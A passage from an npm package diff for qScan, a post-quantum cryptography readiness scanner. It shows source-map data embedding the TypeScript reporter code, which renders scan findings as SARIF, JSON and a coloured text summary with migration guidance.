,MAAM,CAAC,WAAW,YAAY,MAAM,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;IAC9E,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAEf,0BAA0B;IAC1B,KAAK,CAAC,IAAI,CACR,oBAAoB,CAAC,CAAC,GAAG,IAAI,CAAC,IAAI,GAAG,UAAU,CAAC,GAAG,CAAC,cAAc,CAAC,EAAE,EAAE,GAAG,GAAG,CAAC,cAAc,MAAM,CAAC,EAAE,CACtG,CAAC;IACF,MAAM,QAAQ,GACZ,MAAM,CAAC,aAAa,KAAK,SAAS;QAChC,CAAC,CAAC,gBAAgB,0BAA0B,MAAM,MAAM,CAAC,aAAa,EAAE;QACxE,CAAC,CAAC,EAAE,CAAC;IACT,KAAK,CAAC,IAAI,CACR,oBAAoB,MAAM,CAAC,YAAY,GAAG,QAAQ,gBAAgB,MAAM,CAAC,QAAQ,CAAC,MAAM,oBAAoB,CAAC,CAC3G,GAAG,CAAC,SAAS,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,EACzC,MAAM,CAAC,GAAG,CAAC,SAAS,CAAC,CACtB,EAAE,CACJ,CAAC;IACF,sFAAsF;IACtF,IAAI,MAAM,CAAC,aAAa,KAAK,CAAC,IAAI,MAAM,CAAC,YAAY,GAAG,CAAC,EAAE,CAAC;QAC1D,KAAK,CAAC,IAAI,CACR,CAAC,CACC,IAAI,CAAC,MAAM,EACX,sDAAsD,0BAA0B,yDAAyD,CAC1I,CACF,CAAC;IACJ,CAAC;IACD,gFAAgF;IAChF,MAAM,IAAI,GAAG,MAAM,CAAC,WAAW,CAAC;IAChC,IAAI,IAAI,IAAI,CAAC,IAAI,CAAC,UAAU,GAAG,CAAC,IAAI,IAAI,CAAC,eAAe,GAAG,CAAC,CAAC,EAAE,CAAC;QAC9D,KAAK,CAAC,IAAI,CACR,CAAC,CACC,IAAI,CAAC,MAAM,EACX,aAAa,IAAI,CAAC,UAAU,gBAAgB,IAAI,CAAC,eAAe,mDAAmD,CACpH,CACF,CAAC;IACJ,CAAC;IACD,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAEf,sBAAsB;IACtB,MAAM,QAAQ,GAAG,cAAc,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,CAAC,UAAU,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAC7E,CAAC,CAAC,aAAa,CAAC,CAAC,CAAC,EAAE,GAAG,CAAC,KAAK,GAAG,CAAC,UAAU,CAAC,CAAC,CAAC,EAAE,CAAC,CAClD,CAAC;IACF,KAAK,CAAC,IAAI,CAAC,iBAAiB,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,EAAE,MAAM,CAAC,EAAE,CAAC,CAAC;IAE9F,uBAAuB;IACvB,MAAM,SAAS,GAAG,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,WAAW,CAAC;SAC9C,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;SAC3B,GAAG,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IACjC,IAAI,SAAS,CAAC,MAAM;QAAE,KAAK,CAAC,IAAI,CAAC,iBAAiB,SAAS,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAC3E,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAEf,IAAI,MAAM,CAAC,QAAQ,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACjC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,EAAE,kDAAkD,CAAC,CAAC,CAAC;QAC9E,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC1B,CAAC;IAED,iFAAiF;IACjF,MAAM,MAAM,GAAG,CAAC,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC,IAAI,CACtC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,cAAc,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,CAAC,GAAG,cAAc,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,CAAC,CAClF,CAAC;IACF,MAAM,SAAS,GAAG,EAAE,CAAC;IACrB,KAAK,CAAC,IAAI,CACR,CAAC,CAAC,IAAI,CAAC,IAAI,EAAE,iBAAiB,IAAI,CAAC,GAAG,CAAC,SAAS,EAAE,MAAM,CAAC,MAAM,CAAC,OAAO,MAAM,CAAC,MAAM,IAAI,CAAC,CAC1F,CAAC;IAEF,KAAK,MAAM,CAAC,IAAI,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,SAAS,CAAC,EAAE,CAAC;QAC3C,MAAM,GAAG,GAAG,GAAG,CAAC,CAAC,QAAQ,CAAC,IAAI,IAAI,CAAC,CAAC,QAAQ,CAAC,IAAI,GAC/C,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC,EAChD,EAAE,CAAC;QACH,MAAM,GAAG,GAAG,CAAC,CAAC,aAAa,CAAC,CAAC,CAAC,QAAQ,CAAC,EAAE,IAAI,CAAC,CAAC,QAAQ,GAAG,CAAC,CAAC;QAC5D,MAAM,IAAI,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;QAClD,KAAK,CAAC,IAAI,CAAC,KAAK,GAAG,IAAI,CAAC,CAAC,KAAK,GAAG,IAAI,EAAE,CAAC,CAAC;QACzC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,EAAE,SAAS,GAAG,MAAM,CAAC,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;QACvD,IAAI,CAAC,CAAC,WAAW;YAAE,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,EAAE,WAAW,CAAC,CAAC,WAAW,EAAE,CAAC,CAAC,CAAC;IAC1E,CAAC;IAED,IAAI,MAAM,CAAC,MAAM,GAAG,SAAS,EAAE,CAAC;QAC9B,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,EAAE,UAAU,MAAM,CAAC,MAAM,GAAG,SAAS,QAAQ,CAAC,CAAC,CAAC;IACvE,CAAC;IAED,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACf,IAAI,GAAG,CAAC,SAAS,GAAG,CAAC,EAAE,CAAC;QACtB,KAAK,CAAC,IAAI,CACR,CAAC,CACC,IAAI,CAAC,MAAM,EACX,SAAS,GAAG,CAAC,SAAS,4DAA4D;YAChF,oFAAoF;YACpF,gFAAgF,CACnF,CACF,CAAC;IACJ,CAAC;IAED,IAAI,OAAO,EAAE,IAAI,EAAE,CAAC;QAClB,KAAK,CAAC,IAAI,CAAC,EAAE,EAAE,GAAG,kBAAkB,CAAC,GAAG,CAAC,WAAW,EAAE,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;IACvE,CAAC;IAED,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AAC1B,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,kBAAkB,CAChC,WAAmC,EACnC,IAAkB;IAElB,MAAM,KAAK,GAAG,IAAI,KAAK,YAAY,CAAC,CAAC,CAAC,uBAAuB,CAAC,CAAC,CAAC,yBAAyB,CAAC;IAC1F,MAAM,GAAG,GAAa,CAAC,GAAG,KAAK,qBAAqB,CAAC,CAAC;IACtD,MAAM,IAAI,GAAG,IAAI,GAAG,EAAU,CAAC;IAC/B,KAAK,MAAM,CAAC,CAAC,EAAE,CAAC,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,WAAW,CAAC,EAAE,CAAC;QACjD,IAAI,CAAC,IAAI,CAAC;YAAE,SAAS;QACrB,MAAM,GAAG,GAAG,CAAoB,CAAC;QACjC,IAAI,GAAG,KAAK,SAAS,IAAI,CAAC,cAAc,CAAC,GAAG,CAAC;YAAE,SAAS,CAAC,yBAAyB;QAClF,MAAM,GAAG,GAAG,kBAAkB,CAAC,GAAG,EAAE,IAAI,CAAC,CAAC;QAC1C,IAAI,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,cAAc,CAAC;YAAE,SAAS;QAC3C,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,cAAc,CAAC,CAAC;QAC7B,GAAG,CAAC,IAAI,CAAC,KAAK,GAAG,MAAM,GAAG,CAAC,cAAc,EAAE,CAAC,CAAC;IAC/C,CAAC;IACD,IAAI,IAAI,KAAK,YAAY,EAAE,CAAC;QAC1B,GAAG,CAAC,IAAI,CACN,0HAA0H,CAC3H,CAAC;IACJ,CAAC;IACD,OAAO,GAAG,CAAC;AACb,CAAC","sourcesContent":["/**\n * Reporters: turn a {@link ScanResult} into SARIF 2.1.0, a clean JSON object,\n * or a human-readable text summary. No third-party dependencies — ANSI colour\n * is emitted with raw escape codes and is off by default.\n */\nimport type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from \"./types.js\";\nimport { VERSION } from \"./version.js\";\nimport { SEVERITY_ORDER, sarifLevel } from \"./severity.js\";\nimport { ANALYZABLE_LANGUAGES_LABEL } from \"./detect-utils.js\";\nimport { remediationFor, remediationForTier } from \"./remediation.js\";\nimport type { SecurityTier } from \"./remediation.js\";\n\n/** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */\nexport interface SarifLog {\n  $schema: string;\n  version: \"2.1.0\";\n  runs: unknown[];\n}\n\n/** Options shared by the structured reporters ({@link toSarif} / {@link toJson}). */\nexport interface ReportOptions {\n  /**\n   * Omit `location.snippet` from every finding in the output. Defaults to false\n   * (snippets are included). Snippets of `sensitive` findings (e.g. PEM key\n   * blocks, SSH public keys) are ALWAYS omitted regardless of this flag — the\n   * snippet there IS the sensitive value.\n   */\n  redactSnippets?: boolean;\n  /**\n   * Full rule catalog to advertise in SARIF `tool.driver.rules[]`, even for\n   * rules that produced no finding in this run. Pass\n   * `defaultRegistry.ruleCatalog()`. When omitted, only the rules that actually\n   * fired are emitted (the historical behaviour). SARIF-only; ignored by\n   * {@link toJson}.\n   */\n  catalog?: RuleMeta[];\n}\n\nconst SARIF_SCHEMA =\n  \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json\";\n\nconst INFORMATION_URI = \"https://github.com/quantakrypto/pqc-tools\";\n\n/**\n * Resolve the snippet to emit for a finding, honouring redaction. Sensitive\n * findings (key material) never expose their snippet; otherwise the snippet is\n * dropped only when `redactSnippets` is set.\n */\nfunction emittedSnippet(f: Finding, redactSnippets: boolean): string | undefined {\n  if (redactSnippets || f.sensitive) return undefined;\n  return f.location.snippet;\n}\n\n/** Map our severity to a SARIF rule-level default (used in rules[].defaultConfiguration). */\nfunction sarifRank(severity: Severity): number {\n  switch (severity) {\n    case \"critical\":\n      return 100;\n    case \"high\":\n      return 80;\n    case \"medium\":\n      return 50;\n    case \"low\":\n      return 20;\n    default:\n      return 5;\n  }\n}\n\n/** Build a SARIF `rules[]` entry from a rule's severity/title/message/etc. */\nfunction sarifRule(spec: {\n  id: string;\n  title: string;\n  message: string;\n  severity: Severity;\n  category: string;\n  algorithm?: string;\n  hndl: boolean;\n  cwe?: string;\n  remediation?: string;\n}): Record<string, unknown> {\n  return {\n    id: spec.id,\n    name: spec.id,\n    shortDescription: { text: spec.title },\n    fullDescription: { text: spec.message },\n    defaultConfiguration: { level: sarifLevel(spec.severity), rank: sarifRank(spec.severity) },\n    ...(spec.remediation ? { help: { text: `Remediation: ${spec.remediation}` } } : {}),\n    properties: {\n      category: spec.category,\n      ...(spec.algorithm ? { algorithm: spec.algorithm } : {}),\n      hndl: spec.hndl,\n      ...(spec.cwe ? { cwe: spec.cwe, \"security-severity\": securitySeverity(spec.severity) } : {}),\n      ...(spec.cwe ? { tags: [\"security\", spec.cwe] } : {}),\n    },\n    ...(spec.cwe\n      ? {\n          relationships: [\n            { target: { id: spec.cwe, toolComponent: { name: \"CWE\" } }, kinds: [\"relevant\"] },\n          ],\n        }\n      : {}),\n  };\n}\n\n/** Serialize a scan result as SARIF 2.1.0. */\nexport function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {\n  const redactSnippets = opts?.redactSnippets ?? false;\n  // Build the rule set and collect the CWE taxa referenced by any rule. When a\n  // full catalog is supplied, advertise every rule (even ones that didn't fire);\n  // otherwise emit one rule per ruleId encountered (the historical behaviour).\n  const ruleIndex = new Map<string, number>();\n  const rules: Array<Record<string, unknown>> = [];\n  const cweTaxa = new Set<string>();\n\n  for (const r of opts?.catalog ?? []) {\n    if (ruleIndex.has(r.id)) continue;\n    if (r.cwe) cweTaxa.add(r.cwe);\n    ruleIndex.set(r.id, rules.length);\n    rules.push(\n      sarifRule({\n        id: r.id,\n        title: r.title,\n        message: r.message,\n        severity: r.severity,\n        category: r.category,\n        algorithm: r.algorithm,\n        hndl: r.hndl,\n        cwe: r.cwe,\n        remediation: r.remediation,\n      }),\n    );\n  }\n\n  for (const f of result.findings) {\n    if (f.cwe) cweTaxa.add(f.cwe);\n    if (ruleIndex.has(f.ruleId)) continue;\n    ruleIndex.set(f.ruleId, rules.length);\n    rules.push(\n      sarifRule({\n        id: f.ruleId,\n        title: f.title,\n        message: f.message,\n        severity: f.severity,\n        category: f.category,\n        algorithm: f.algorithm,\n        hndl: f.hndl,\n        cwe: f.cwe,\n        remediation: f.remediation,\n      }),\n    );\n  }\n\n  const results = result.findings.map((f) => {\n    const region: Record<string, number> = { startLine: f.location.line };\n    if (typeof f.location.column === \"number\") region.startColumn = f.location.column;\n    if (typeof f.location.endLine === \"number\") region.endLine = f.location.endLine;\n    const snippet = emittedSnippet(f, redactSnippets);\n\n    return {\n      ruleId: f.ruleId,\n      ruleIndex: ruleIndex.get(f.ruleId),\n      level: sarifLevel(f.severity),\n      message: { text: f.message },\n      properties: {\n        category: f.category,\n        severity: f.severity,\n        confidence: f.confidence,\n        hndl: f.hndl,\n        ...(f.algorithm ? { algorithm: f.algorithm } : {}),\n        ...(f.remediation ? { remediation: f.remediation } : {}),\n        ...(f.cwe ? { cwe: f.cwe } : {}),\n      },\n      ...(f.cwe\n        ? {\n            taxa: [\n              {\n                target: { id: f.cwe, toolComponent: { name: \"CWE\" } },\n              },\n            ],\n          }\n        : {}),\n      locations: [\n        {\n          physicalLocation: {\n            artifactLocation: { uri: f.location.file },\n            region: {\n              ...region,\n              ...(snippet ? { snippet: { text: snippet } } : {}),\n            },\n          },\n        },\n      ],\n    };\n  });\n\n  // CWE taxonomy component (SARIF taxonomies), referenced by rules + results.\n  const taxonomies =\n    cweTaxa.size > 0\n      ? [\n          {\n            name: \"CWE\",\n            informationUri: \"https://cwe.mitre.org/\",\n            organization: \"MITRE\",\n            shortDescription: { text: \"The MITRE Common Weakness Enumeration\" },\n            taxa: [...cweTaxa].sort().map((id) => ({\n              id,\n              helpUri: `https://cwe.mitre.org/data/definitions/${id.replace(/^CWE-/, \"\")}.html`,\n            })),\n          },\n        ]\n      : [];\n\n  return {\n    $schema: SARIF_SCHEMA,\n    version: \"2.1.0\",\n    runs: [\n      {\n        tool: {\n          driver: {\n            name: \"qScan\",\n            informationUri: INFORMATION_URI,\n            version: result.toolVersion || VERSION,\n            rules,\n          },\n        },\n        ...(taxonomies.length > 0 ? { taxonomies } : {}),\n        results,\n      },\n    ],\n  };\n}\n\n/** GitHub-code-scanning `security-severity` (0–10) derived from our severity. */\nfunction securitySeverity(severity: Severity): string {\n  switch (severity) {\n    case \"critical\":\n      return \"9.5\";\n    case \"high\":\n      return \"8.0\";\n    case \"medium\":\n      return \"5.0\";\n    case \"low\":\n      return \"3.0\";\n    default:\n      return \"1.0\";\n  }\n}\n\n/** Serialize a scan result as a plain JSON-friendly object. */\nexport function toJson(result: ScanResult, opts?: ReportOptions): Record<string, unknown> {\n  const redactSnippets = opts?.redactSnippets ?? false;\n  return {\n    toolVersion: result.toolVersion,\n    root: result.root,\n    startedAt: result.startedAt,\n    finishedAt: result.finishedAt,\n    filesScanned: result.filesScanned,\n    ...(result.analyzedFiles !== undefined ? { analyzedFiles: result.analyzedFiles } : {}),\n    ...(result.diagnostics ? { diagnostics: result.diagnostics } : {}),\n    inventory: {\n      readinessScore: result.inventory.readinessScore,\n      hndlCount: result.inventory.hndlCount,\n      bySeverity: result.inventory.bySeverity,\n      byCategory: result.inventory.byCategory,\n      byAlgorithm: result.inventory.byAlgorithm,\n    },\n    findings: result.findings.map((f) => ({\n      ruleId: f.ruleId,\n      title: f.title,\n      category: f.category,\n      severity: f.severity,\n      confidence: f.confidence,\n      algorithm: f.algorithm,\n      hndl: f.hndl,\n      message: f.message,\n      remediation: f.remediation,\n      cwe: f.cwe,\n      location: {\n        file: f.location.file,\n        line: f.location.line,\n        column: f.location.column,\n        endLine: f.location.endLine,\n        snippet: emittedSnippet(f, redactSnippets),\n      },\n    })),\n  };\n}\n\n/* -------------------------------------------------------------------------- */\n/* Human-readable summary                                                      */\n/* -------------------------------------------------------------------------- */\n\n/** Raw ANSI codes (no chalk). Disabled when colour is off. */\nconst ANSI = {\n  reset: \"\\x1b[0m\",\n  bold: \"\\x1b[1m\",\n  dim: \"\\x1b[2m\",\n  red: \"\\x1b[31m\",\n  green: \"\\x1b[32m\",\n  yellow: \"\\x1b[33m\",\n  blue: \"\\x1b[34m\",\n  magenta: \"\\x1b[35m\",\n  cyan: \"\\x1b[36m\",\n} as const;\n\nfunction severityColor(sev: Severity): string {\n  switch (sev) {\n    case \"critical\":\n      return ANSI.magenta;\n    case \"high\":\n      return ANSI.red;\n    case \"medium\":\n      return ANSI.yellow;\n    case \"low\":\n      return ANSI.blue;\n    default:\n      return ANSI.dim;\n  }\n}\n\nfunction scoreColor(score: number): string {\n  if (score >= 80) return ANSI.green;\n  if (score >= 50) return ANSI.yellow;\n  return ANSI.red;\n}\n\n/**\n * Render a human-readable summary of a scan result. Colour is off by default;\n * pass `{ color: true }` to emit ANSI escape codes.\n */\nexport function formatSummary(\n  result: ScanResult,\n  options?: { color?: boolean; tier?: SecurityTier },\n): string {\n  const color = options?.color ?? false;\n  const c = (code: string, text: string): string => (color ? `${code}${text}${ANSI.reset}` : text);\n\n  const lines: string[] = [];\n  const inv = result.inventory;\n\n  lines.push(c(ANSI.bold, \"qScan — post-quantum readiness report\"));\n  lines.push(c(ANSI.dim, `tool v${result.toolVersion} · root: ${result.root}`));\n  lines.push(\"\");\n\n  // Readiness score banner.\n  lines.push(\n    `Readiness score: ${c(`${ANSI.bold}${scoreColor(inv.readinessScore)}`, `${inv.readinessScore}/100`)}`,\n  );\n  const analyzed =\n    result.analyzedFiles !== undefined\n      ? `   Analyzed (${ANALYZABLE_LANGUAGES_LABEL}): ${result.analyzedFiles}`\n      : \"\";\n  lines.push(\n    `Files scanned:   ${result.filesScanned}${analyzed}   Findings: ${result.findings.length}   HNDL-exposed: ${c(\n      inv.hndlCount > 0 ? ANSI.red : ANSI.green,\n      String(inv.hndlCount),\n    )}`,\n  );\n  // Coverage honesty: a score over zero analyzable files is not a clean bill of health.\n  if (result.analyzedFiles === 0 && result.filesScanned > 0) {\n    lines.push(\n      c(\n        ANSI.yellow,\n        `Note: 0 files were in a supported source language (${ANALYZABLE_LANGUAGES_LABEL}) — the readiness score does not reflect this codebase.`,\n      ),\n    );\n  }\n  // Coverage diagnostics: skipped files mean the finding count may be incomplete.\n  const diag = result.diagnostics;\n  if (diag && (diag.unreadable > 0 || diag.skippedMinified > 0)) {\n    lines.push(\n      c(\n        ANSI.yellow,\n        `Coverage: ${diag.unreadable} unreadable, ${diag.skippedMinified} skipped as minified — results may be incomplete.`,\n      ),\n    );\n  }\n  lines.push(\"\");\n\n  // Severity breakdown.\n  const sevParts = SEVERITY_ORDER.filter((s) => inv.bySeverity[s] > 0).map((s) =>\n    c(severityColor(s), `${s}: ${inv.bySeverity[s]}`),\n  );\n  lines.push(`By severity:  ${sevParts.length ? sevParts.join(\"   \") : c(ANSI.green, \"none\")}`);\n\n  // Algorithm breakdown.\n  const algoParts = Object.entries(inv.byAlgorithm)\n    .sort((a, b) => b[1] - a[1])\n    .map(([k, v]) => `${k}: ${v}`);\n  if (algoParts.length) lines.push(`By algorithm: ${algoParts.join(\"   \")}`);\n  lines.push(\"\");\n\n  if (result.findings.length === 0) {\n    lines.push(c(ANSI.green, \"No classical asymmetric cryptography detected. ✓\"));\n    return lines.join(\"\\n\");\n  }\n\n  // Top findings, grouped by severity (most severe first), capped for readability.\n  const sorted = [...result.findings].sort(\n    (a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity),\n  );\n  const MAX_SHOWN = 25;\n  lines.push(\n    c(ANSI.bold, `Top findings (${Math.min(MAX_SHOWN, sorted.length)} of ${sorted.length}):`),\n  );\n\n  for (const f of sorted.slice(0, MAX_SHOWN)) {\n    const loc = `${f.location.file}:${f.location.line}${\n      f.location.column ? `:${f.location.column}` : \"\"\n    }`;\n    const tag = c(severityColor(f.severity), `[${f.severity}]`);\n    const hndl = f.hndl ? c(ANSI.red, \" (HNDL)\") : \"\";\n    lines.push(`  ${tag} ${f.title}${hndl}`);\n    lines.push(c(ANSI.dim, `      ${loc} — ${f.message}`));\n    if (f.remediation) lines.push(c(ANSI.cyan, `      → ${f.remediation}`));\n  }\n\n  if (sorted.length > MAX_SHOWN) {\n    lines.push(c(ANSI.dim, `  …and ${sorted.length - MAX_SHOWN} more.`));\n  }\n\n  lines.push(\"\");\n  if (inv.hndlCount > 0) {\n    lines.push(\n      c(\n        ANSI.yellow,\n        `Note: ${inv.hndlCount} finding(s) are exposed to \"harvest now, decrypt later\" — ` +\n          \"encrypted traffic captured today can be decrypted once a quantum computer exists. \" +\n          \"Prioritise migrating key exchange / encryption to hybrid PQC (X25519MLKEM768).\",\n      ),\n    );\n  }\n\n  if (options?.tier) {\n    lines.push(\"\", ...formatTierGuidance(inv.byAlgorithm, options.tier));\n  }\n\n  return lines.join(\"\\n\");\n}\n\n/**\n * Per-family migration targets for a CNSA security tier — surfaces the otherwise\n * library-only {@link remediationForTier} in human reports. Category 5 shows the\n * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and\n * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.\n */\nexport function formatTierGuidance(\n  byAlgorithm: Record<string, number>,\n  tier: SecurityTier,\n): string[] {\n  const label = tier === \"category-5\" ? \"CNSA 2.0 (Category 5)\" : \"Category 3 (commercial)\";\n  const out: string[] = [`${label} migration targets:`];\n  const seen = new Set<string>();\n  for (const [k, n] of Object.entries(byAlgorithm)) {\n    if (n <= 0) continue;\n    const fam = k as AlgorithmFamily;\n    if (fam === \"unknown\" || !remediationFor(fam)) continue; // skip unmapped families\n    const rem = remediationForTier(fam, tier);\n    if (seen.has(rem.recommendation)) continue;\n    seen.add(rem.recommendation);\n    out.push(`  ${fam} → ${rem.recommendation}`);\n  }\n  if (tier === \"category-5\") {\n    out.push(\n      \"  CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).\",\n    );\n  }\n  return out;\n}\n"]}

package/dist/scan-worker.js.map

@@ -1 +1 @@
-{"version":3,"file":"scan-worker.js","sourceRoot":"","sources":["../src/scan-worker.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AACH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAC;AACvC,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AAG7D,OAAO,EAAE,eAAe,EAAE,MAAM,eAAe,CAAC;AAChD,OAAO,EAAE,UAAU,EAAE,MAAM,WAAW,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,WAAW,CAAC;AAC1C,OAAO,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAenD,IAAI,UAAU,EAAE,CAAC;IACf,MAAM,IAAI,GAAG,CAAC,UAAU,IAAI,EAAE,CAAgD,CAAC;IAC/E,MAAM,OAAO,GAAG,IAAI,CAAC,OAAO,CAAC;IAC7B,MAAM,OAAO,GAAG,IAAI,CAAC,OAAO,CAAC;IAC7B,MAAM,IAAI,GAAG,eAAe,CAAC,GAAG,EAAE,CAAC;IACnC,MAAM,IAAI,GAAG,UAAU,CAAC;IAExB,IAAI,CAAC,EAAE,CAAC,SAAS,EAAE,CAAC,GAAiB,EAAE,EAAE;QACvC,IAAI,CAAC;YACH,MAAM,QAAQ,GAAc,EAAE,CAAC;YAC/B,IAAI,YAAY,GAAG,CAAC,CAAC;YACrB,IAAI,UAAU,GAAG,CAAC,CAAC;YACnB,IAAI,eAAe,GAAG,CAAC,CAAC;YACxB,MAAM,YAAY,GAAa,EAAE,CAAC;YAElC,KAAK,MAAM,GAAG,IAAI,GAAG,CAAC,KAAK,EAAE,CAAC;gBAC5B,MAAM,GAAG,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;gBAClD,IAAI,OAAe,CAAC;gBACpB,IAAI,CAAC;oBACH,OAAO,GAAG,YAAY,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;gBACtC,CAAC;gBAAC,MAAM,CAAC;oBACP,UAAU,IAAI,CAAC,CAAC;oBAChB,SAAS;gBACX,CAAC;gBACD,IAAI,CAAC,OAAO,CAAC,YAAY,IAAI,CAAC,cAAc,CAAC,GAAG,CAAC,IAAI,aAAa,CAAC,OAAO,CAAC,EAAE,CAAC;oBAC5E,eAAe,IAAI,CAAC,CAAC;oBACrB,SAAS;gBACX,CAAC;gBACD,YAAY,IAAI,CAAC,CAAC;gBAClB,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;gBACvB,QAAQ,CAAC,IAAI,CACX,GAAG,UAAU,CACX,GAAG,EACH,OAAO,EACP,IAAI,EACJ;oBACE,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,IAAI,EAAE,OAAO,CAAC,IAAI;iBACnB,EACD,OAAO,CAAC,aAAa,CACtB,CACF,CAAC;YACJ,CAAC;YAED,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,YAAY;gBACnB,MAAM,EAAE,EAAE,QAAQ,EAAE,YAAY,EAAE,UAAU,EAAE,eAAe,EAAE;aAChE,CAAC,CAAC;QACL,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;aACxD,CAAC,CAAC;QACL,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC"}
+{"version":3,"file":"scan-worker.js","sourceRoot":"","sources":["../src/scan-worker.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AACH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAC;AACvC,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AAG7D,OAAO,EAAE,eAAe,EAAE,MAAM,eAAe,CAAC;AAChD,OAAO,EAAE,UAAU,EAAE,MAAM,WAAW,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,WAAW,CAAC;AAC1C,OAAO,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAenD,IAAI,UAAU,EAAE,CAAC;IACf,MAAM,IAAI,GAAG,CAAC,UAAU,IAAI,EAAE,CAAgD,CAAC;IAC/E,MAAM,OAAO,GAAG,IAAI,CAAC,OAAO,CAAC;IAC7B,MAAM,OAAO,GAAG,IAAI,CAAC,OAAO,CAAC;IAC7B,MAAM,IAAI,GAAG,eAAe,CAAC,GAAG,EAAE,CAAC;IACnC,MAAM,IAAI,GAAG,UAAU,CAAC;IAExB,IAAI,CAAC,EAAE,CAAC,SAAS,EAAE,CAAC,GAAiB,EAAE,EAAE;QACvC,IAAI,CAAC;YACH,MAAM,QAAQ,GAAc,EAAE,CAAC;YAC/B,IAAI,YAAY,GAAG,CAAC,CAAC;YACrB,IAAI,UAAU,GAAG,CAAC,CAAC;YACnB,IAAI,eAAe,GAAG,CAAC,CAAC;YACxB,MAAM,YAAY,GAAa,EAAE,CAAC;YAElC,KAAK,MAAM,GAAG,IAAI,GAAG,CAAC,KAAK,EAAE,CAAC;gBAC5B,MAAM,GAAG,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,GAAG,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;gBAClD,IAAI,OAAe,CAAC;gBACpB,IAAI,CAAC;